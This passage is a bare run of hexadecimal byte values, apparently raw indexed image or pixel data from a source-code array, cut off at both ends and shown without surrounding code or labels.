0xCD, 0x63, 0x61, 0x58, 0x4D, 0x51, 0x4C, 0x4B, - 0x54, 0x5D, 0xCC, 0xCE, 0x63, 0x61, 0x5D, 0x5D, - 0xFB, 0xFC, 0xFC, 0xFC, 0xFC, 0x4B, 0x27, 0x21, - 0x22, 0x22, 0x23, 0x22, 0x22, 0x24, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x20, - 0x27, 0x2B, 0x41, 0x2B, 0x23, 0xFC, 0xB2, 0xB6, - 0x93, 0x90, 0x92, 0xB5, 0x92, 0x90, 0xB5, 0x90, - 0x92, 0x93, 0xBC, 0xAD, 0xDC, 0xF1, 0xF3, 0xF0, - 0xD9, 0x61, 0x41, 0x4A, 0x58, 0x57, 0x57, 0x44, - 0x49, 0xD2, 0xDD, 0xD8, 0xDA, 0x63, 0x4A, 0x45, - 0xCC, 0x63, 0x5E, 0x52, 0x4B, 0x4C, 0x49, 0x51, - 0x5C, 0x61, 0xCD, 0x65, 0x63, 0x5E, 0x4E, 0xCF, - 0xFB, 0xFB, 0xF0, 0xFC, 0xD2, 0x2A, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x22, 0x22, 0x21, 0x22, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x26, 0x41, 0x27, 0xF9, 0x81, 0xB7, - 0xB5, 0x91, 0x92, 0xB5, 0x91, 0xB5, 0x93, 0xB5, - 0x93, 0xB6, 0xB7, 0xB9, 0xCB, 0xD8, 0xF3, 0xF2, - 0xF2, 0xDB, 0x61, 0x2D, 0x51, 0x58, 0x57, 0x58, - 0x41, 0x51, 0xD4, 0xDB, 0xDC, 0xD1, 0x5B, 0x4C, - 0xCB, 0x62, 0x59, 0x4C, 0x4A, 0x49, 0x4B, 0x55, - 0x60, 0x64, 0xCC, 0x64, 0x5E, 0x55, 0x60, 0xE1, - 0xFB, 0xF8, 0xFC, 0xFC, 0x21, 0x22, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x22, 0x22, 0x21, 0x22, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x21, 0x24, 0x2D, 0x21, 0xB4, 0xBB, - 0xB6, 0xB5, 0xB6, 0xB7, 0xB7, 0xB7, 0xB7, 0xB6, - 0xB6, 0xB6, 0xBB, 0xB9, 0x45, 0xCB, 0xDF, 0xF3, - 0xF3, 0xF3, 0xDB, 0x5E, 0x2C, 0x51, 0x58, 0x58, - 0x52, 0x2D, 0x5C, 0xD4, 0xD9, 0xD5, 0x63, 0x58, - 0x64, 0x60, 0x53, 0x49, 0x4A, 0x49, 0x52, 0x5C, - 0x63, 0xCD, 0xCD, 0x63, 0x5C, 0x4E, 0x65, 0xFC, - 0xFC, 0xF5, 0xFC, 0xD2, 0x23, 0x22, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x22, 0x22, 0x21, 0x22, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x21, 0x22, 0x25, 0x29, 0xB3, 0xC7, - 0xB5, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, 0xB6, - 0xB6, 0xB5, 0xC7, 0xAD, 0x57, 0x3F, 0xCB, 0xF0, - 0xF3, 0xF3, 0xF2, 0xD9, 0x58, 0x41, 0x4C, 0x58, - 0x57, 0x47, 0x42, 0x62, 0xD4, 0xD4, 0xCC, 0x60, - 0x63, 0x5D, 0x50, 0x47, 0x48, 0x4B, 0x58, 0x60, - 0xCC, 0xCE, 0xCD, 0x60, 0x53, 0x5C, 0x62, 0xFB, - 0xF9, 0xFC, 0xFC, 0x21, 0x23, 0x22, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x23, 0x23, 0x21, 0x22, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, 0x81, 0xC7, - 0xB7, 0xB7, 0xBC, 0xB7, 0xBC, 0xBC, 0xBC, 0xB7, - 0xB7, 0xB7, 0xC8, 0x80, 0x58, 0x57, 0x40, 0xCE, - 0xF3, 0xF2, 0xF2, 0xF0, 0xD5, 0x4C, 0x3F, 0x4B, - 0x52, 0x50, 0x2D, 0x4B, 0x64, 0xD2, 0xCC, 0x61, - 0x60, 0x58, 0x4A, 0x47, 0x47, 0x4C, 0x59, 0x64, - 0xD0, 0xD0, 0x64, 0x59, 0x49, 0x5D, 0xFB, 0xFC, - 0xD9, 0xFC, 0xD6, 0x23, 0x22, 0x22, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x23, 0x21, 0x21, 0x22, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, 0xB4, 0xC8, - 0xBD, 0xB7, 0xBD, 0xBC, 0xBD, 0xC5, 0xBC, 0xC5, - 0xBC, 0xBD, 0xC7, 0xAC, 0x58, 0x57, 0x58, 0x2C, - 0xD1, 0xF0, 0xF3, 0xF3, 0xE0, 0xCD, 0x45, 0x3E, - 0x48, 0x4B, 0x3F, 0x41, 0x56, 0x64, 0x65, 0x62, - 0x5D, 0x52, 0x47, 0x48, 0x48, 0x53, 0x60, 0xCC, - 0xD2, 0xD0, 0x63, 0x52, 0x4E, 0x53, 0xFB, 0xFB, - 0xFC, 0xFC, 0x23, 0x23, 0x22, 0x23, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x23, 0x20, 0x21, 0x22, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x23, 0x22, 0x23, 0x22, 0xB4, 0xC7, - 0xC5, 0xBC, 0xC5, 0xBD, 0xC5, 0xC5, 0xBD, 0xC5, - 0xBC, 0xC6, 0xC7, 0xB9, 0x58, 0x57, 0x58, 0x57, - 0x2D, 0xD4, 0xF1, 0xF2, 0xF0, 0xD9, 0x5D, 0x47, - 0x48, 0x3F, 0x42, 0x2C, 0x48, 0x5C, 0x5F, 0x60, - 0x58, 0x50, 0x47, 0x4A, 0x49, 0x55, 0x63, 0xD0, - 0xD2, 0xCD, 0x5D, 0x49, 0x4E, 0xE1, 0xFC, 0xF0, - 0xFC, 0xF8, 0x22, 0x22, 0x22, 0x23, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x20, 0x21, 0x21, 0x22, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x23, 0x22, - 0x23, 0x22, 0x23, 0x23, 0x23, 0x22, 0xC4, 0xC8, - 0xBD, 0xBD, 0xC6, 0xBD, 0xC6, 0xC6, 0xC5, 0xC6, - 0xBD, 0xC6, 0xC7, 0xE4, 0x54, 0x57, 0x58, 0x57, - 0x57, 0x43, 0xD7, 0xE0, 0xF1, 0xD8, 0xCD, 0x4B, - 0x4A, 0x47, 0x42, 0x2C, 0x3F, 0x4D, 0x58, 0x5C, - 0x52, 0x4B, 0x48, 0x4B, 0x4A, 0x58, 0xCB, 0xD3, - 0xD2, 0xCD, 0x58, 0x47, 0x4A, 0xFC, 0xFC, 0xFB, - 0xFC, 0x2B, 0x22, 0x22, 0x22, 0x23, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x26, 0x21, 0x21, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, - 0x22, 0x23, 0x22, 0x23, 0x22, 0x23, 0xE5, 0xC8, - 0xBA, 0xC5, 0xC6, 0xC6, 0xC6, 0xC7, 0xC6, 0xC7, - 0xC5, 0xC6, 0xC8, 0xE5, 0x2E, 0x54, 0x58, 0x57, - 0x57, 0x4C, 0x4D, 0xDA, 0xD8, 0xD8, 0xD4, 0x5C, - 0x4B, 0x4B, 0x3F, 0x42, 0x44, 0x4A, 0x51, 0x58, - 0x4B, 0x48, 0x4B, 0x51, 0x4D, 0x5F, 0xD0, 0xD1, - 0xD0, 0x64, 0x51, 0x44, 0x6B, 0xFC, 0xFB, 0xFC, - 0xFC, 0x21, 0x23, 0x22, 0x22, 0x23, 0x22, 0x23, - 0x22, 0x22, 0x23, 0x26, 0x21, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, - 0x22, 0x23, 0x22, 0x23, 0x23, 0x23, 0xE5, 0xED, - 0xE7, 0xBA, 0xC8, 0xC6, 0xC6, 0xC6, 0xC6, 0xC7, - 0xC7, 0xE5, 0xED, 0xE6, 0x61, 0x41, 0x52, 0x58, - 0x58, 0x57, 0x45, 0x5E, 0xD7, 0xDD, 0xD5, 0x60, - 0x4B, 0x4C, 0x48, 0x4D, 0x4D, 0x50, 0x4D, 0x56, - 0x4A, 0x3E, 0x53, 0x53, 0x52, 0x63, 0xD3, 0xD0, - 0xCE, 0x60, 0x4A, 0x45, 0xFC, 0xFC, 0xF7, 0xFC, - 0xFC, 0x21, 0x23, 0x23, 0x22, 0x23, 0x22, 0x23, - 0x22, 0x23, 0x21, 0x2A, 0x20, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x23, 0x22, 0x21, 0x23, 0xEB, 0xF6, - 0xF6, 0xED, 0xED, 0xED, 0xED, 0xED, 0xED, 0xED, - 0xF6, 0xF6, 0xF6, 0xE6, 0xDB, 0x58, 0x45, 0x4B, - 0x58, 0x57, 0x4D, 0x4B, 0x64, 0xD4, 0xD0, 0x5C, - 0x48, 0x51, 0x4C, 0x5D, 0x5E, 0x5C, 0x56, 0x59, - 0x3E, 0x4A, 0x58, 0x54, 0x52, 0x65, 0xD3, 0xD0, - 0xCF, 0x5D, 0x48, 0xFC, 0xFC, 0xFC, 0xFA, 0xFC, - 0xFC, 0x21, 0x22, 0x23, 0x22, 0x23, 0x22, 0x23, - 0x22, 0x23, 0x21, 0x2A, 0x21, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x23, 0x22, 0x21, 0x4F, 0xE6, 0xC6, - 0xC6, 0xBD, 0xC6, 0xBD, 0xBD, 0xBD, 0xBD, 0xC6, - 0xC5, 0xBA, 0xC7, 0xE6, 0xF2, 0xD4, 0x49, 0x4B, - 0x3E, 0x4D, 0x52, 0x3E, 0x52, 0x63, 0x64, 0x56, - 0x48, 0x54, 0x4D, 0x61, 0xCC, 0xCC, 0x60, 0x60, - 0x47, 0x4D, 0x5C, 0x53, 0x58, 0xCF, 0xD1, 0xCF, - 0xD0, 0x59, 0x45, 0xFC, 0xFC, 0xFC, 0xEF, 0xF9, - 0xFC, 0x21, 0x23, 0x22, 0x23, 0x22, 0x23, 0x22, - 0x23, 0x22, 0x23, 0x2A, 0x21, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x23, 0x22, 0x23, 0x4F, 0xE4, 0xB9, - 0xAF, 0x80, 0x80, 0x8E, 0x8E, 0x8E, 0x8E, 0x8F, - 0x80, 0xB4, 0xB9, 0xE4, 0x7F, 0xDE, 0x61, 0x52, - 0x54, 0x48, 0x3F, 0x43, 0x4D, 0x56, 0x59, 0x4B, - 0x3E, 0x58, 0x53, 0x61, 0xD3, 0xD4, 0xCF, 0xCD, - 0x4C, 0x58, 0x5F, 0x53, 0x5E, 0xD3, 0xD0, 0xCE, - 0xCE, 0x52, 0x3F, 0xFC, 0xFC, 0xFC, 0xF7, 0x65, - 0xFA, 0x22, 0x23, 0x22, 0x23, 0x22, 0x23, 0x22, - 0x23, 0x22, 0x21, 0x2A, 0x23, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x23, 0x22, 0x23, 0x22, 0x21, 0xB1, 0xE4, 0xE6, - 0x7C, 0xB1, 0x7C, 0xB1, 0xB2, 0xB2, 0xB3, 0x3D, - 0xB3, 0x3C, 0xE5, 0xB3, 0xB0, 0xF1, 0xD0, 0x58, - 0x5D, 0x4D, 0x40, 0x41, 0x48, 0x51, 0x4C, 0x3F, - 0x3F, 0x4D, 0x5A, 0x5A, 0xD5, 0xD9, 0xD7, 0xD4, - 0x57, 0x5E, 0x61, 0x4C, 0x63, 0xD4, 0xCF, 0xCE, - 0xCB, 0x4D, 0x4A, 0xFC, 0xFC, 0xFC, 0xFC, 0xF0, - 0xFB, 0x22, 0x23, 0x22, 0x23, 0x22, 0x23, 0x22, - 0x23, 0x22, 0x23, 0x2A, 0x21, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x22, 0x23, 0x22, 0x23, 0x23, 0xB1, 0x81, 0x7D, - 0x39, 0x35, 0x35, 0x36, 0x36, 0x36, 0x36, 0x36, - 0x36, 0x36, 0x7C, 0xB2, 0xB0, 0xDF, 0xD2, 0x57, - 0x60, 0x59, 0x5B, 0x59, 0x52, 0x4C, 0x4A, 0x40, - 0x42, 0x4A, 0x53, 0x4D, 0xD2, 0xDE, 0xDE, 0xD9, - 0x5E, 0x5E, 0x60, 0x4A, 0xCD, 0xD1, 0xCF, 0xCE, - 0x63, 0x49, 0x5C, 0xFB, 0xE8, 0x89, 0x9F, 0xFC, - 0xD6, 0x21, 0x21, 0x23, 0x22, 0x22, 0x23, 0x22, - 0x23, 0x22, 0x21, 0x2A, 0x22, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x7F, 0xB9, - 0x71, 0x6C, 0x38, 0x38, 0x33, 0x33, 0x33, 0x38, - 0x38, 0x71, 0xAD, 0xE4, 0xD3, 0xDA, 0xCC, 0x52, - 0x63, 0x60, 0xCE, 0xD4, 0xCF, 0x60, 0x4C, 0x40, - 0x3F, 0x45, 0x4B, 0x5A, 0xCB, 0xD8, 0xDE, 0xDC, - 0x5E, 0x5E, 0x5F, 0x4C, 0xD2, 0xD2, 0xCF, 0xCF, - 0x61, 0x45, 0x5E, 0xA7, 0x9D, 0x95, 0x8B, 0x99, - 0xFC, 0x41, 0x21, 0x23, 0x23, 0x22, 0x23, 0x22, - 0x23, 0x22, 0x23, 0x2A, 0x23, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x77, 0x77, 0xF6, - 0xFC, 0x7D, 0x7D, 0x7E, 0x7E, 0x7E, 0x7E, 0x7D, - 0x7D, 0xFC, 0x47, 0x64, 0xD0, 0xD0, 0x5D, 0x4B, - 0x62, 0xCC, 0xD1, 0xDE, 0xDE, 0xD4, 0x5E, 0x43, - 0x3F, 0x3E, 0x48, 0x53, 0x58, 0xDB, 0xD8, 0xDC, - 0x5E, 0x5E, 0x5E, 0x53, 0xD4, 0xD2, 0xD0, 0xD0, - 0x5E, 0x49, 0xA7, 0xA6, 0x89, 0x95, 0x8B, 0x9C, - 0x9C, 0xFB, 0xD4, 0x22, 0x22, 0x22, 0x22, 0x23, - 0x22, 0x23, 0x23, 0x2A, 0x22, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, - 0x23, 0x22, 0x23, 0x23, 0x98, 0x8C, 0x8C, 0x88, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xF8, - 0xE9, 0x9C, 0x48, 0x5C, 0xD0, 0xCB, 0x48, 0x49, - 0x5B, 0xCB, 0xCD, 0xE0, 0xF1, 0xDD, 0xD0, 0x4A, - 0x41, 0x47, 0x45, 0x4C, 0x48, 0xD7, 0xDE, 0xDC, - 0x5E, 0x5E, 0x5A, 0x58, 0xD1, 0xD0, 0xD0, 0xD2, - 0x5C, 0x55, 0xA7, 0xA6, 0x87, 0x86, 0x89, 0x94, - 0x9C, 0xA9, 0xFC, 0xF4, 0x22, 0x23, 0x22, 0x23, - 0x22, 0x23, 0x22, 0x2A, 0x21, 0x23, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, - 0x22, 0x23, 0x22, 0x23, 0xA4, 0x89, 0x8C, 0xAA, - 0xFB, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xF7, - 0x85, 0x88, 0x8D, 0x59, 0x64, 0x63, 0x47, 0x3E, - 0x4C, 0x60, 0x61, 0xE0, 0xF0, 0xDF, 0xD9, 0x5D, - 0x2E, 0x3E, 0x3E, 0x47, 0x4D, 0xCD, 0xDE, 0xDC, - 0x5D, 0x5C, 0x51, 0x5D, 0xD1, 0xD2, 0xD2, 0xD4, - 0x5A, 0xBE, 0xA7, 0x98, 0x8A, 0x8A, 0xA0, 0x8B, - 0x86, 0x86, 0xF7, 0xFC, 0xF7, 0x26, 0x23, 0x23, - 0x22, 0x22, 0x22, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, - 0x22, 0x21, 0x21, 0x21, 0xA1, 0x98, 0x9F, 0xBF, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xA7, - 0x8C, 0x86, 0x8D, 0x59, 0x5E, 0x5D, 0x3F, 0x3E, - 0x47, 0x53, 0x63, 0xD9, 0xF0, 0xF1, 0xDE, 0xD0, - 0x43, 0x3E, 0x47, 0x45, 0x4A, 0x5B, 0xDC, 0xDA, - 0x5D, 0x59, 0x49, 0x5F, 0xD1, 0xD2, 0xD3, 0xB9, - 0xA5, 0xA7, 0x98, 0x9B, 0x96, 0x9D, 0x89, 0x89, - 0x8B, 0x9C, 0x9D, 0xFC, 0xFC, 0xFC, 0x26, 0x22, - 0x23, 0x23, 0x22, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, - 0x22, 0x22, 0x29, 0x2D, 0x99, 0x99, 0xA2, 0xAA, - 0xC4, 0xFB, 0xFC, 0xFC, 0xFC, 0xF6, 0xBF, 0xA2, - 0x9C, 0x9C, 0x8E, 0xDC, 0xCD, 0x51, 0x41, 0x3E, - 0x45, 0x49, 0x58, 0xCD, 0xE0, 0xE0, 0xD8, 0xDA, - 0x4C, 0x4A, 0x45, 0x45, 0x48, 0x47, 0xDA, 0xDA, - 0x5C, 0x58, 0x44, 0x69, 0xA9, 0x98, 0xA4, 0xA6, - 0xA1, 0xA4, 0x99, 0x9E, 0x9D, 0x8B, 0x8A, 0x97, - 0x87, 0x9A, 0x8A, 0xC2, 0xFC, 0xFC, 0xFC, 0x4D, - 0x21, 0x21, 0x23, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x23, 0x22, - 0x21, 0x22, 0x2D, 0x34, 0xA4, 0xA2, 0xA2, 0xA9, - 0xBF, 0xC0, 0xC3, 0xC1, 0xC0, 0xBE, 0xA6, 0x9D, - 0x99, 0x87, 0xA2, 0xF1, 0xDC, 0x64, 0x42, 0x45, - 0x47, 0x3E, 0x49, 0x4C, 0xDD, 0xDF, 0xD8, 0xDB, - 0x5E, 0x4C, 0x48, 0x45, 0x45, 0x41, 0xD1, 0xD6, - 0x5A, 0x55, 0x3F, 0xA7, 0xA1, 0x98, 0x9F, 0x99, - 0x9F, 0x9D, 0x9A, 0x95, 0x8B, 0x97, 0x89, 0x8A, - 0x88, 0x94, 0x9C, 0x8C, 0xFC, 0xFC, 0xFC, 0xFC, - 0xF4, 0x21, 0x23, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x22, 0x23, - 0x23, 0x23, 0x2C, 0x2C, 0xA8, 0xA2, 0xA4, 0xA4, - 0xA9, 0xAA, 0xAA, 0xAA, 0xA9, 0xA6, 0x98, 0x9C, - 0x8B, 0x88, 0x98, 0x8D, 0xD8, 0xD6, 0x4E, 0x47, - 0x47, 0x49, 0x47, 0x3F, 0xDA, 0xDD, 0xDE, 0xDD, - 0xCC, 0x4A, 0x4B, 0x3E, 0x45, 0x43, 0x61, 0xD4, - 0x56, 0x51, 0x44, 0xA4, 0x9B, 0x8B, 0x9C, 0x9A, - 0xA0, 0xA2, 0x98, 0x98, 0x8B, 0x8B, 0x98, 0x98, - 0x84, 0x8B, 0x94, 0x8A, 0xA4, 0xFC, 0xFC, 0xFC, - 0xFC, 0xF2, 0x21, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x23, 0x22, 0x23, 0x23, 0x23, 0x23, - 0x23, 0x22, 0x2C, 0x2D, 0xC0, 0xA4, 0xA2, 0xA4, - 0xA4, 0xA6, 0xA6, 0xA6, 0xA4, 0xA2, 0x9F, 0x89, - 0x8B, 0x9C, 0x9C, 0x8B, 0x68, 0xDB, 0x5F, 0x4B, - 0x3E, 0x49, 0x4B, 0x3E, 0xCC, 0xDA, 0xDC, 0xDD, - 0xD3, 0x49, 0x52, 0x48, 0x45, 0x45, 0x53, 0xD0, - 0x51, 0x4A, 0x44, 0xA4, 0x9B, 0x8B, 0x9C, 0xA0, - 0x9B, 0x86, 0x89, 0x98, 0x89, 0x8A, 0x96, 0x8A, - 0x9C, 0x89, 0x89, 0x9C, 0x8C, 0xF6, 0xFC, 0xFC, - 0xFC, 0xFC, 0x21, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x22, 0x23, 0x22, 0x21, 0x22, 0x23, - 0x22, 0x21, 0x2B, 0x34, 0xC0, 0xA8, 0xA4, 0xA2, - 0xA2, 0x98, 0xA1, 0xA0, 0x98, 0x9F, 0x95, 0x8A, - 0x94, 0xA1, 0x8A, 0x84, 0x9B, 0x68, 0xCC, 0x49, - 0x4A, 0x47, 0x4C, 0x4B, 0x51, 0xD3, 0xDA, 0xDC, - 0xD5, 0x56, 0x56, 0x4A, 0x3E, 0x45, 0x48, 0x63, - 0x4A, 0x47, 0x3E, 0xA7, 0x98, 0x9D, 0x9E, 0x8B, - 0x95, 0x9B, 0x89, 0x86, 0x9B, 0x8B, 0x89, 0x84, - 0x9A, 0xA1, 0x95, 0x9A, 0x8C, 0xA4, 0xFC, 0xFC, - 0xFC, 0xFA, 0x23, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x22, 0x23, 0x22, 0x21, 0x22, 0x23, - 0x21, 0x23, 0x2C, 0xF6, 0xBF, 0xA9, 0xA2, 0x99, - 0x9D, 0x9D, 0x9D, 0x9D, 0x9D, 0x9B, 0x87, 0x8B, - 0x9C, 0x86, 0x9C, 0x8A, 0x87, 0x87, 0x89, 0x51, - 0x54, 0x47, 0x4B, 0x50, 0x4B, 0xCF, 0xD6, 0xDC, - 0xD5, 0x60, 0x54, 0x52, 0x48, 0x45, 0x40, 0x5A, - 0x45, 0x43, 0x47, 0xA7, 0x98, 0x9B, 0x95, 0x95, - 0x9A, 0x87, 0x98, 0x98, 0x8A, 0x86, 0x87, 0x9E, - 0x9B, 0x95, 0x9D, 0x9D, 0x99, 0x85, 0xA6, 0xFA, - 0xF2, 0x21, 0x23, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x22, 0x23, 0x22, 0x21, 0x22, 0x22, - 0x21, 0x24, 0xFB, 0xF7, 0xBF, 0xA6, 0xA2, 0x99, - 0x97, 0x89, 0x86, 0x89, 0x9C, 0x96, 0x9E, 0x94, - 0x89, 0x99, 0x98, 0x89, 0x9E, 0x9B, 0x89, 0x8B, - 0x58, 0x4B, 0x4A, 0x52, 0x48, 0xCC, 0xD3, 0xDA, - 0xD3, 0x65, 0x4C, 0x58, 0x49, 0x3E, 0x2E, 0x4D, - 0x40, 0x41, 0x45, 0xA9, 0xA1, 0x9B, 0x9E, 0x9C, - 0x95, 0x8A, 0x94, 0x89, 0x96, 0x87, 0x9C, 0x9A, - 0x84, 0x9D, 0x9C, 0x9E, 0x9A, 0x9C, 0x9D, 0xBB, - 0x23, 0x23, 0x22, 0x22, 0x21, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x22, 0x23, 0x22, 0x21, 0x23, 0x23, - 0x24, 0xFC, 0xFC, 0xF6, 0xBF, 0xA6, 0x9F, 0x99, - 0x89, 0x95, 0x87, 0x94, 0x9D, 0x9E, 0x97, 0x9E, - 0x95, 0x9B, 0x89, 0x95, 0x95, 0x9B, 0x89, 0x87, - 0x5D, 0x56, 0x3E, 0x51, 0x3E, 0x60, 0xCF, 0xD3, - 0xD2, 0xCD, 0x5C, 0x49, 0x4B, 0x3E, 0x2C, 0x48, - 0x3E, 0x43, 0x3E, 0xA9, 0xA1, 0x9B, 0x97, 0x94, - 0x95, 0x9A, 0x9C, 0x87, 0x87, 0x9B, 0x9C, 0x95, - 0x9D, 0x89, 0x9A, 0x89, 0x9E, 0x9E, 0x8C, 0xA6, - 0x20, 0x23, 0x23, 0x22, 0x23, 0x22, 0x23, 0x22, - 0x22, 0x22, 0x22, 0x22, 0x21, 0x21, 0x20, 0x40, - 0xFC, 0xFC, 0xFC, 0xEC, 0xBE, 0xA4, 0x9F, 0x99, - 0x95, 0x9F, 0xA0, 0x88, 0x9D, 0x8B, 0x97, 0x95, - 0x87, 0x95, 0x96, 0x95, 0x97, 0x94, 0x94, 0x98, - 0xD3, 0x4C, 0x47, 0x4D, 0x42, 0x4C, 0x60, 0xCC, - 0xCE, 0xD0, 0x65, 0x4B, 0x47, 0x44, 0x2B, 0x45, - 0x4B, 0x47, 0x49, 0xA7, 0xA1, 0x9A, 0x97, 0x89, - 0x95, 0x97, 0x97, 0x9E, 0x89, 0x95, 0x89, 0x9C, - 0x87, 0x95, 0x97, 0x99, 0x95, 0x99, 0x9F, 0xA4, - 0xC4, 0x21, 0x21, 0x23, 0x21, 0x23, 0x23, 0x23, - 0x23, 0x23, 0x23, 0x23, 0x21, 0x20, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xEA, 0xAA, 0xA6, 0xA2, 0x99, - 0x8B, 0x9A, 0x95, 0x9E, 0x9E, 0x9A, 0x94, 0x87, - 0x94, 0x94, 0x89, 0x94, 0x9B, 0x9B, 0xA7, 0xDC, - 0xDB, 0x65, 0x2E, 0x3E, 0x43, 0x44, 0x49, 0x58, - 0x63, 0xD3, 0xD3, 0x5E, 0x42, 0x42, 0x2D, 0x40, - 0x54, 0x4C, 0x4A, 0xA7, 0xA0, 0x99, 0x9B, 0x94, - 0xA0, 0x8A, 0x9B, 0x9D, 0x87, 0x95, 0x94, 0x8B, - 0x8A, 0x98, 0x9C, 0x8A, 0x9B, 0x99, 0xA2, 0xA6, - 0xBF, 0xEC, 0x2A, 0x20, 0x21, 0x23, 0x21, 0x20, - 0x20, 0x20, 0x20, 0x4C, 0xF9, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xEB, 0xAA, 0xA4, 0x9F, 0x9C, - 0x8B, 0x9B, 0x88, 0x84, 0x9E, 0x9D, 0x96, 0x94, - 0x94, 0x9A, 0x9B, 0x9B, 0xA4, 0xD5, 0xCD, 0xDE, - 0xF1, 0xDA, 0x4C, 0x2D, 0x41, 0x2B, 0x42, 0x4C, - 0x5E, 0xD4, 0xD7, 0xCD, 0x49, 0x2E, 0x2E, 0x41, - 0x5E, 0x57, 0xA7, 0xA6, 0xA7, 0xA4, 0xA2, 0x98, - 0x9D, 0x9C, 0xA1, 0x99, 0x9D, 0x88, 0x8B, 0x9C, - 0x8A, 0x9C, 0x9C, 0x94, 0x9C, 0x89, 0xA0, 0xA6, - 0xAA, 0xEB, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFB, 0xE9, 0xAA, 0xA6, 0xA2, 0x8B, - 0x8B, 0x8A, 0x86, 0x9B, 0x9C, 0x98, 0xA0, 0x9B, - 0x9B, 0x84, 0xA7, 0xB4, 0x61, 0xD1, 0xD2, 0xE0, - 0xF1, 0xDC, 0x61, 0x2D, 0x2E, 0x3F, 0x56, 0x62, - 0x5D, 0xD4, 0xD9, 0xD3, 0x54, 0x41, 0x41, 0x44, - 0xCB, 0x60, 0x52, 0xA9, 0xA9, 0xA9, 0xA7, 0xA6, - 0xA6, 0xA4, 0xA4, 0xA2, 0xA2, 0x9D, 0x95, 0x89, - 0x9C, 0x8A, 0x9E, 0x9C, 0x8A, 0x9E, 0xA0, 0xA8, - 0xC0, 0xE9, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, 0xFC, - 0xFC, 0xFC, 0xFC, 0xE9, 0xAA, 0xA6, 0xA0, 0x99, - 0x9C, 0x8B, 0x9A, 0x84, 0x9B, 0x9B, 0x98, 0x98, - 0xA9, 0xB9, 0x49, 0x57, 0xCB, 0xD4, 0xD3, 0xF1, - 0xD8, 0xDA, 0xCE, 0x3F, 0x41, 0x4B, 0x5D, 0xCB, - 0x5E, 0xD6, 0xDB, 0xD6, 0x5D, 0x43, 0x3F, 0x49, - 0xD1, 0xCC, 0x4F, 0xDD, 0xC3, 0xBB, 0xBF, 0xAA, - 0xAA, 0xA9, 0xAA, 0xA8, 0xA8, 0xA6, 0xA6, 0xA2, - 0x9C, 0x9F, 0x9B, 0x9A, 0x9D, 0xA2, 0xA8, 0xAA, - 0xC1, 